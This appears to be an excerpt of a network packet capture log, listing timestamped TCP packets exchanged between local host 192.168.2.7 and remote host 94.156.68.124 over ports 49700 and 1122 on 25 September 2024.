Sep 25, 2024 01:11:11.274288893 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274290085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274303913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274316072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274326086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274354935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274640083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274652004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274662971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274674892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274686098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274693012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274698019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274708986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274724007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274898052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274936914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275016069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275027990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275039911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275053978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275063038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275063992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275079012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275087118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275091887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275111914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275121927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275125980 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275150061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275702000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275712967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275723934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275733948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275744915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275748968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275760889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275773048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275780916 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275789976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275799036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275806904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275813103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275819063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275830030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275840998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275852919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275857925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275866032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.275880098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.275888920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.276475906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276488066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276499033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276509047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276511908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.276525021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.276614904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276628017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276638985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276650906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276663065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276668072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.276675940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276688099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276694059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.276701927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276714087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276725054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.276729107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.276750088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277549028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277560949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277571917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277582884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277597904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277600050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277610064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277623892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277626991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277635098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277637959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277648926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277658939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277664900 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277671099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277682066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277690887 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277694941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277704954 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277708054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277720928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.277745008 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.277765036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278496981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278507948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278517962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278529882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278541088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278547049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278553009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278562069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278565884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278577089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278588057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278588057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278603077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278614044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278625011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278625965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278639078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278650045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278650999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278664112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.278671026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.278697968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.321492910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.346803904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.346834898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.346843958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.346901894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.346955061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.346966028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.346976995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.346996069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347004890 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347031116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347152948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347218990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347229004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347260952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347331047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347342014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347352982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347378969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347552061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347592115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347654104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347665071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347676039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347686052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347696066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347700119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347708941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347714901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.347728014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.347743034 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.348036051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.348047018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.348063946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.348084927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.348100901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360057116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360081911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360090971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360133886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360187054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360198021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360225916 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360318899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360330105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360363960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360466003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360476971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360487938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360498905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360511065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360513926 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360537052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360548019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360718012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360760927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360773087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360781908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.360806942 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.360827923 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361010075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361018896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361025095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361037970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361047983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361063957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361063957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361077070 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361077070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361103058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361465931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361476898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361485958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361495018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361505032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361515045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361516953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361526966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361538887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361550093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.361550093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361569881 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361579895 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.361994982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362005949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362016916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362027884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362039089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362050056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362055063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362061977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362071991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362071991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362087011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362087011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362114906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362612963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362624884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362637043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362648010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362658024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362667084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362669945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362680912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362692118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362698078 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362703085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362715960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362719059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362729073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362740040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362740993 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362751961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362765074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362766027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362776041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.362792969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.362817049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363559961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363571882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363581896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363593102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363603115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363610029 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363614082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363626003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363636971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363646030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363656998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363657951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363671064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363681078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363682985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363692999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363703966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363708019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363717079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.363733053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.363766909 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.364540100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364562988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364576101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364588022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364598036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364610910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364620924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364622116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.364634037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364650965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364653111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.364665031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364675999 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.364679098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364691019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364702940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364713907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364727974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.364732027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.364753008 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.365457058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365470886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365483999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365494967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365499020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.365508080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365520000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365530968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365531921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.365542889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365555048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365566969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.365567923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365578890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365591049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365602016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365602016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.365614891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.365628004 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.365642071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.415251970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.433546066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433587074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433597088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433638096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.433679104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433691025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433701992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433718920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.433747053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.433851004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433922052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.433959007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434040070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434051991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434062958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434073925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434098005 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434112072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434298992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434310913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434322119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434334040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434340000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434346914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434357882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434369087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434376001 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434380054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434403896 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434427023 CEST	49700	1122	192.168.2.7	94.156.68.124
